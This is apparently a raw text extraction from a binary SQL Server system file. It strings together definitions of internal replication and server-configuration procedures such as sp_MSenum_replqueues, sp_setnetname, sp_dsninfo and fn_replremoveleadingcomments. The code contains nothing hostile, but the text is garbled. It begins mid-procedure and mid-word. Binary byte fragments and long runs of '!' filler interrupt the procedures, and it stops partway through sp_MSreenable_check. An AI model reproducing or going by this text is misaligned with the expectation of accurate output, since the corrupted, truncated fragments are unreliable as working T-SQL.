        select @changes_in_target_gen = 0
    end

    select @gen = @target_gen
    select @changes_in_gen = @changes_in_target_gen
    return 0
OMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_28,           -- for backward compatibility
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_28,      -- for backward compatibility
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_28,   -- for backward compatibility
        IS_COMPUTED             = s_cv.IS_COMPUTED

    from
        sys.spt_columns_view s_cv

    where
        (
            (@table_schema is null and s_cv.TABLE_NAME = @table_name) or
            s_cv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
08 D8=h9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%U`+
<X.
|0 
8create procedure sys.sp_MSenum_replqueues
(
    @curdistdb    sysname = NULL
)
as
begin
    declare @distbit int
    declare @db_name sysname
    declare @cmd nvarchar(1024)

    select @distbit = 16

    --
    -- create the temp table to store the relevant information
    --
    create table #replqueue (
        queue_server sysname collate database_default not null,
        queue_id sysname collate database_default not null,
        dist_db sysname collate database_default not null
    )
    create unique clustered index ucreplqueue ON #replqueue (queue_id)

    --
    -- Has the user specified a distribution database
    --
    if (@curdistdb is NULL)
    begin
        --
        -- Go through all the distribution databases
        --
        declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR 
            select name from master.dbo.sysdatabases 
            where
                category & @distbit <> 0 and
                has_dbaccess(name) = 1
            for read only
    end
    else
    begin
        --
        -- User specified Distribution Database
        -- Validate the user specified name
        --
        if exists (select name from master.dbo.sysdatabases 
        where
            name = @curdistdb and
            category & @distbit <> 0 and
            has_dbaccess(name) = 1)
        begin
            declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR
            select @curdistdb
            for read only
        end
        else
        begin
            --
            -- Error : Invalid distribution db specified
            --
            raiserror(20587, 16, 4, N'@curdistdb', N'sp_MSenum_replqueues')
            return 1
        end
    end

    --
    -- Enumerate
    --
    open hCdatabase
    fetch next from hCdatabase into @db_name
    while (@@fetch_status <> -1)
    begin
        select @cmd =
        'SET NOCOUNT ON ' +
        'INSERT INTO #replqueue (queue_server, queue_id, dist_db) ' +
        'SELECT queue_server, queue_id, ' +
                'N''' + replace(@db_name, '''', '''''') + ''' ' +
        'FROM ' +
                QUOTENAME(@db_name) + '.dbo.MSdistribution_agents ' +
        'WHERE ' +
                'queue_id IS NOT NULL and queue_id != N''mssqlqueue'''
            
        exec (@cmd)
        fetch next from hCdatabase into @db_name
    end
    close hCdatabase
    deallocate hCdatabase

    --
    -- select the contents of the temp table to present
    -- the formatted queue name
    --
    select     N'DIRECT=OS:' + queue_server + N'\PRIVATE$\' + queue_id AS 'queue_format'
            ,dist_db
    from #replqueue
    
    --
    -- cleanup
    --
    drop table #replqueue
end
0!@ Q8CREATE PROCEDURE sys.sp_createmergepalrole (@publication sysname)
AS
BEGIN
    set nocount on
    declare @retcode int

    -- security check done in here
    exec @retcode = sys.sp_createpalrole @publication = @publication, @mode = 0
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
END
0Q) 38
create procedure sys.sp_server_info
(
    @attribute_id  int = null
)
as
    select * from
    (
        select
            *
        from
            sys.spt_server_info

        union

        select
            ATTRIBUTE_ID    = 16,
            ATTRIBUTE_NAME  = convert(varchar(60), 'IDENTIFIER_CASE') collate catalog_default,
            ATTRIBUTE_VALUE = convert(varchar(255),
                                case when 'a' <> 'A' then 'SENSITIVE' else 'MIXED' end) collate catalog_default

        union

        select
            ATTRIBUTE_ID    = 18,
            ATTRIBUTE_NAME  = convert(varchar(60), 'COLLATION_SEQ') collate catalog_default,
            ATTRIBUTE_VALUE = convert(varchar(255),
                                'charset=' + convert(varchar(255), ServerProperty('sqlcharsetname')) +
                                case when 0 = convert(int, ServerProperty('sqlsortorder'))
                                then ' collation=' + isnull(convert(varchar(255), ServerProperty('collation')), ' ')
                                else ' sort_order=' + convert(varchar(64), ServerProperty('sqlsortordername')) +
                                     ' charset_num=' + rtrim(convert(char(4), convert(int, ServerProperty('sqlcharset')))) +
                                     ' sort_order_num=' + rtrim(convert(char(4), convert(int, ServerProperty('sqlsortorder')))) end)
                                collate catalog_default
    ) as t
    where @attribute_id is null or @attribute_id = attribute_id
0# 8create procedure sys.sp_MSrepl_startup_internal
as
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- Drop and create publisher side cache table
    /*
    if exists (select * from tempdb.sys.objects where name = 'MSpublisher_access' and
    type = 'U')
        drop table tempdb.dbo.MSpublisher_access

    create table tempdb.dbo.MSpublisher_access
    (
    spid int NOT NULL,
    db_id int not null,
    publication sysname not null,
    login_time datetime not null,
    pubid uniqueidentifier null -- Used for merge only.
    )

    CREATE CLUSTERED INDEX ucMSpublisher_access ON tempdb.dbo.MSpublisher_access
        (spid, publication, db_id)
    exec tempdb.dbo.sp_MS_marksystemobject 'dbo.MSpublisher_access'
*/

    -- Drop and create distributor side cache table
    -- We need to avoid publisher and distributor using the same table to prevent
    -- contention in local distributor case.
    if exists (select * from master.dbo.sysservers
                  WHERE  srvstatus & 8 <> 0 and UPPER(datasource collate database_default) = UPPER(@@servername) collate database_default)
    begin
        if exists (select * from tempdb.sys.objects where name = 'MSdistributor_access' and
        type = 'U')
            drop table tempdb.dbo.MSdistributor_access

        create table tempdb.dbo.MSdistributor_access
        (
        spid int NOT NULL,
        db_id int not null,
        agent_id int not null,
        agent_type int not null,
        publication_id int not null,
        login_time datetime not null
        )

		create clustered index ucMSdistributor_access on tempdb.dbo.MSdistributor_access
			(spid, login_time)
        
        exec tempdb.dbo.sp_MS_marksystemobject 'dbo.MSdistributor_access'

		-- init perfmon counters
		exec sys.sp_MSinit_replication_perfmon
   end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S``<Q0O 
8create procedure sys.sp_setnetname
	 @server	sysname	-- server name
	,@netname	sysname	-- new net name
as
	DECLARE	@sqlproduct		bit,
			@is_linked 	bit,
			@dataaccess		bit

	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_setnetname')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any linked server') = 1)
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	BEGIN TRAN

	-- RESOLVE/LOCK SERVER NAME
	EXEC %%LinkedServer ( Name = @server ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	BEGIN
		ROLLBACK TRAN
		raiserror(15015,-1,-1,@server)
		return (1)
	END

	-- GET INFORMATION ON THIS SERVER
	SELECT	@sqlproduct = CASE WHEN srvproduct = N'SQL Server' THEN 1 ELSE 0 END,
			@dataaccess = dataaccess
		FROM master.dbo.sysservers WHERE srvname = @server

	-- MUST BE A SQL SERVER
	IF @sqlproduct = 0
	begin
		ROLLBACK TRAN
		raiserror(15576,-1,-1,@server)
		return (1)
	end

	-- CHECK FOR LOOPBACK SERVER AND ISSUE WARNING
	-- Only check linked server for "data access" since that's where the limitation
	-- lies.  Replication calls this code although only for RPC servers, so they
	-- shouldn't be seeing this message
	if @netname = @@SERVERNAME and @server <> @netname AND @dataaccess = 1
		raiserror(15577,-1,-1)	-- THIS IS ONLY A WARNING

	-- is this a linked server?
	select @is_linked = is_linked from sys.servers where name = @server

	-- DO THE UPDATE
	EXEC %%LinkedServer ( Name = @server ) . SetDatasource ( Datasource = @netname )

	if @is_linked = 1
	begin
		-- EMDEventType(x_eet_Alter_Linked_Server), EMDUniversalClass(x_eunc_Linked_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 263, ID = 102, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @netname, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	else
	begin
		-- EMDEventType(x_eet_Alter_Remote_Server), EMDUniversalClass(x_eunc_Linked_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 217, ID = 100, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @netname, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end

	-- SUCCESS
	COMMIT TRAN
	return (0) -- sp_setnetname
0b 8create function sys.fn_updateparameterwithqualifiedargument(
    @command nvarchar(3200),
    @parameter nvarchar(200),
    @original_argument nvarchar(1000),
    @new_argument  nvarchar(1000)
    ) returns nvarchar(3200)
begin
    declare @tmp_command table (id int, parameters nvarchar(3200), arguments nvarchar(3200))
    declare @resulting_command nvarchar(3200)

    select @resulting_command = N''    
    
    insert into @tmp_command
        select *
            from sys.fn_getparametervalues(@command)
    
    update @tmp_command
        set arguments = @new_argument
        where parameters = @parameter
            and arguments = @original_argument
    
    select @resulting_command = @resulting_command
            + N' '
            + N'-' + parameters 
            + N' ' 
            + quotename(arguments)
        from @tmp_command

    return ltrim(@resulting_command)
end
0Tg@ 8
--
-- Name: sp_dsninfo
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_dsninfo
--  xp_dsninfo does not support unicode
    @dsn varchar(128),
    @infotype varchar(128) = NULL,
    @login varchar(128) = NULL,
    @password varchar(128) = NULL,
    @dso_type int = 1  /* 1 is ODBC, 3 OLEDB. */
    AS

    SET NOCOUNT ON

    DECLARE @distributor sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int
    DECLARE @dsotype_odbc int
    DECLARE @dsotype_oledb int

    select @dsotype_odbc = 1
    select @dsotype_oledb = 3

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    */

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
        RAISERROR (14071, 16, -1)
            RETURN (1)
    END

    if (@dso_type = @dsotype_odbc)
    begin
        /*
        ** Call xp_dsninfo
        */
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.master.dbo.xp_dsninfo'
        EXEC @retcode = @distproc @dsn, @infotype, @login, @password
        IF @@error <> 0
            BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
    end
    else if (@dso_type = @dsotype_oledb)
    begin
        /*
        ** Call sp_oledbinfo
        */
        EXEC @retcode = sys.sp_oledbinfo @dsn, @infotype, @login, @password
        IF @@error <> 0
            BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
    end

0oj@ 8CREATE VIEW sys.dm_os_dispatcher_pools AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_DISPATCHERPOOLS)
0)t D8R(h|6'}0N^ 88z3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O`<N0((F0)K 8--
-- Name: sp_MSfixup_base_columns
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which populates a temp
--			table with the base columns of all constraints/computed columns
--			added in current DDL, so to make it easier to figure out what 
--			to post for each article, while we are here, why not also figure
--			out if we need to split into single command mode
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSfixup_base_columns
(
--pass in these constant from caller, so we don't have define them everwhere
    @subtype_addcolumn int
    ,@subtype_adddf int
    ,@objid int
    ,@break_add_into_singles bit output
    ,@subtype int
    ,@subscription_active int
    ,@debug_print bit = 0
)
as
begin 
	begin tran replddl_fixup_base_columns
	save tran replddl_fixup_base_columns

	--this query depend on ColumnName being valid so this has to happen after we fish out empty constraint names
	--I see no reason to qualify it with type of DDL, for drops it will simply insert nothing here

	--first get base column of all constraints added/enable/disabled in this DDL
	--exclud any newly added columns
	insert #basecol_cnst 	(constraint_column_id, constraint_column_name, constraint_name, type) 
		select distinct sc.column_id, sc.name, fmcc.constraint_name, EnumType 
			from sys.columns sc 
					join sys.fn_MSconstraint_columns (@objid) fmcc on sc.column_id = fmcc.constraint_column_id 
					join	#tran_altertable ta on fmcc.constraint_name = ta.ColumnName collate database_default 
					where sc.object_id = @objid and sc.name not in 
						(select ColumnName from #tran_altertable where EnumType = @subtype_addcolumn)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		

	--second get base column of all computed columns added in this DDL
	--exclude any column_id we add in first step
	--exclud any newly added columns
	insert #basecol_cnst 	(constraint_column_id, constraint_column_name, constraint_name, type) 
		select distinct sc.column_id, sc.name, sc.name, EnumType
			from #tran_altertable 
					full outer join sys.columns sc on sc.name = ColumnName collate database_default 
					join sys.sql_dependencies ssd on sc.object_id = ssd.object_id and sc.column_id = ssd.referenced_minor_id 
					where sc.object_id = @objid and sc.column_id is not null and sc.name is not null
						and sc.column_id not in (select constraint_column_id from #basecol_cnst)
						and sc.name not in 
						(select ColumnName from #tran_altertable where EnumType = @subtype_addcolumn)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		
	if (@debug_print = 1)
		select 'stage' = 'sp_MSfixup_base_columns: const/computed', * from #basecol_cnst 
		
	--the following logic has to do with figuring out if we need to split into single command mode
	--if it's already decided, just exit.
	if (@break_add_into_singles = 1)
		goto SKIPCHECK

	--in case of adding constraints to existing columns, if any base column is not in all artive partition
	--we can't post this cmd to everyone, switch to single cmd mode
	begin 
		--these are the columns existing in every active partiton
		declare @artmincols table (column_id int)
		
		--article base on this object id with active subscription and allow replicate_ddl
		declare @artcols table (artid int)

		insert @artcols select distinct sa.artid from sysarticles sa 
																	join syspublications sp on sp.pubid = sa.pubid
																	join syssubscriptions ss on ss.artid = sa.artid
																where sa.objid = @objid
																	and ss.status = @subscription_active  -- active
																	and sp.replicate_ddl = 1
																	

		--count of @artcols tells how many articles we may need to post to
		--group by having count() picks out colids exist in all of these articles.
		insert @artmincols (column_id) select sac.colid from dbo.sysarticlecolumns sac join 
														@artcols ac on sac.artid = ac.artid
											group by sac.colid having count(sac.colid) = (select count(*) from @artcols)


		if exists (select * from #basecol_cnst where constraint_column_id not in (select column_id from @artmincols)) -- base col not in every partition
		begin
			set @break_add_into_singles = 1
		end
	end

	--
	--if any column is added with named default 'with values', set so in ColumnAttr in addcolumn row
	--
	update #tran_altertable set ColumnAttr = N'WITH VALUES' where ColumnName collate database_default in 
			(select c.name collate database_default
				from #tran_altertable t 	join sys.default_constraints dc on dc.name = t.ColumnName collate database_default
									join sys.columns c on c.object_id = dc.parent_object_id
									and c.column_id = dc.parent_column_id
				where dc.parent_object_id = @objid and t.EnumType = @subtype_adddf 
					and ColumnAttr = N'WITH VALUES' collate database_default)

	if @@ERROR <> 0
	begin
		goto FAILURE
	end		
					
	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_base_columns: with values', * from #tran_altertable 
	--
	--if any default is added with base column in the same DDL, delete the default row now
	--
	delete #tran_altertable where EnumType = @subtype_adddf and ColumnName collate database_default in 
			(select dc.name collate database_default
				from #tran_altertable t 
									join sys.columns c on c.name = t.ColumnName collate database_default
									join 	sys.default_constraints dc on c.object_id = dc.parent_object_id
																			and c.column_id = dc.parent_column_id
				where dc.parent_object_id = @objid and t.EnumType = @subtype_addcolumn)

	if @@ERROR <> 0
	begin
		goto FAILURE
	end		
					

	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_base_columns: final', * from #tran_altertable 


SKIPCHECK:
	commit tran replddl_fixup_base_columns
	return 0
FAILURE:
	rollback tran replddl_fixup_base_columns
	commit tran
	return 1

end
0}Q P8!&h>	'T
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;`=<ptF.-,0}Q P8!&h>	'T
0XV 8--
-- Name: fn_replremoveleadingcomments
--
-- Description: This helper function strips out leading /*...*/
--	
--
-- Parameters: 	
--	@inputcmd nvarchar(max)
--
-- Returns: nvarchar(max) 
--
-- Notes: this is an internal helper function 
--	e.g. 
--	fn_replremoveleadingcomments(N'/*dshfjsd*/pubs.dbo.authors add newcol1 int')
--	should return: N'pubs.dbo.authors add newcol1 int'
--		
-- Security: not exposed to public
-- 
create function sys.fn_replremoveleadingcomments (
	@cmd nvarchar(max)
)
returns nvarchar(max)
as
begin
	declare @BEGIN_COMMENT	sysname,
			@END_COMMENT	sysname,
			@SINGLE_COMMENT	sysname,
			@SPACE			nchar(1),
			@TAB			nchar(1),
			@CR				nchar(1),
			@LF				nchar(1)
	
	select @BEGIN_COMMENT   = N'/*',
			@END_COMMENT	= N'*/',
			@SINGLE_COMMENT	= N'--',
			@SPACE			= N' ',
			@TAB			= char(9),
			@CR				= char(13),
			@LF				= char(10)
	
	declare	@cmd_len		bigint,
			@current_char	nchar(1),
			@next_char		nchar(1),
			@done			bigint,
			@cNestedComments	bigint,
			@iNextBeginComment	bigint,
			@iNextEndComment	bigint,
			@remove_len		bigint,
			@cr_offset		bigint,
			@lf_offset		bigint
			
	select @cmd_len			= len(@cmd),
			@current_char	= left(@cmd, 1),
			@next_char		= substring(@cmd, 2, 1),
			@remove_len		= 0,
			@cr_offset		= 0,
			@lf_offset		= 0,
			@done			= 0

	-- we will continue to loop until there are no more leading spaces or comments
	while (@done = 0)
	begin
		--
		-- This section is for the removal of:
		--		Space, Tab, Carriage Return and Line Feed
		--
		if @current_char = @SPACE
			or @current_char = @TAB
			or @current_char = @CR
			or @current_char = @LF
		begin
			-- remove the single character
			select @cmd_len = @cmd_len - 1,
					@cmd = right(@cmd, @cmd_len)

			-- move to the next character
			select @current_char = @next_char,
					@next_char = substring(@cmd, 2, 1)
		end
		--
		-- This section is for the removal of:
		--		Multi-Line Comments
		--
		else if (@current_char + @next_char) = @BEGIN_COMMENT
		begin
			
			-- move past the BEGIN_COMMENT
			select @cmd_len = @cmd_len - 2,
				@cmd = right(@cmd, @cmd_len)

			select @cNestedComments = 1
			
			while(@cNestedComments > 0)
			begin
					
				-- find the next BEGIN_COMMENT and the next END_COMMENT
				select @iNextBeginComment = charindex(@BEGIN_COMMENT, @cmd)
				select @iNextEndComment = charindex(@END_COMMENT, @cmd)

				-- exit if there the END_COMMENT is not found
				if @iNextEndComment = 0
				begin
					-- this means we hit a scenario where end  
					-- comment was not found so we should exit
					select @done = 1
					break
				end

				-- if there is a BEGIN_COMMENT and it's found before the next END_COMMENT
				else if (@iNextBeginComment > 0 and @iNextBeginComment < @iNextEndComment)
				begin
					-- bump the count
					select @cNestedComments = @cNestedComments + 1
					-- remove up to the start of the nested comment
					select @remove_len = @iNextBeginComment + 1
				end
				else
				begin
					-- dec the count
					select @cNestedComments = @cNestedComments - 1;
					-- remove passed the end of this comment
					select @remove_len = @iNextEndComment + 1
				end

				select @cmd_len = @cmd_len - @remove_len,
					@cmd = right(@cmd, @cmd_len)
			end

			-- move to the next character
			select @current_char = left(@cmd, 1),
					@next_char = substring(@cmd, 2, 1)
		end
		--
		-- This section is for the removal of:
		--		Single-Line Comments
		--
		else if (@current_char + @next_char) = @SINGLE_COMMENT
		begin
			-- remove the commented section
			select @cr_offset	= charindex(@CR, @cmd),
					@lf_offset	= charindex(@LF, @cmd)

			-- CRLF (newline)
			if @lf_offset > 0
				and @lf_offset = @cr_offset + 1
			begin
				select @remove_len = @lf_offset
			end
			-- CR (carriage return)
			else if @cr_offset > 0
				and @cr_offset < @lf_offset
			begin
				select @remove_len = @cr_offset
			end
			-- LF (linefeed)
			else if @lf_offset > 0
			begin
				select @remove_len = @lf_offset
			end
			-- end of command
			else 
			begin
				select @remove_len = len(@cmd)
			end

			select @cmd_len = @cmd_len - @remove_len,
					@cmd = right(@cmd, @cmd_len)

			-- move to the next character
			select @current_char = left(@cmd, 1),
					@next_char = substring(@cmd, 2, 1)
		end
		else
		begin
			break
		end
	end

	return @cmd
end
0(f 8create procedure sys.sp_MSreenable_check @objname sysname, @objowner sysname = NULL
as
    set nocount on
    
    declare @cnstname sysname
    declare @cnstid int
    declare @objid int
    declare @enable_cmd nvarchar(4000)
    declare @dest nvarchar(514)

    declare @retcode int
    IF @objname IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@objname', 'sp_MSreenable_check')
        RETURN (1)
    END

    if(@objowner is not null)
        select @dest = quotename(@objowner) + N'.' + quotename(@objname)
    else
        select @dest = quotename(@objname)

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
            return (1)

    select @objid = object_id(@objname)
    
    declare ms_crs_cnst cursor local static for
    select name, object_id 
    	from sys.objects 
    	where parent_object_id = @objid 
    		and OBJECTPROPERTY(object_id, 'CnstIsDisabled') = 1 
    		and OBJECTPROPERTY(object_id, 'CnstIsNotRepl') = 0 
    		and (OBJECTPROPERTY(object_id, 'IsCheckCnst') = 1 
    			or OBJECTPROPERTY(object_id, 'IsForeignKey') = 1)
	union
    select name, object_id
    	from sys.triggers
    	where parent_id = @objid 
    		and OBJECTPROPERTY(object_id, 'IsTrigger') = 1 
        	and OBJECTPROPERTY(object_id, 'ExecIsTriggerNotForRepl') = 0 
        	and OBJECTPROPERTY(object_id, 'ExecIsTriggerDisabled') = 1
    for read only

    open ms_crs_cnst
    fetch ms_crs_cnst into @cnstname, @cnstid
    while @@fetch_status >= 0
    begin
        if(ObjectProperty(@cnstid, 'IsTrigger') = 1)
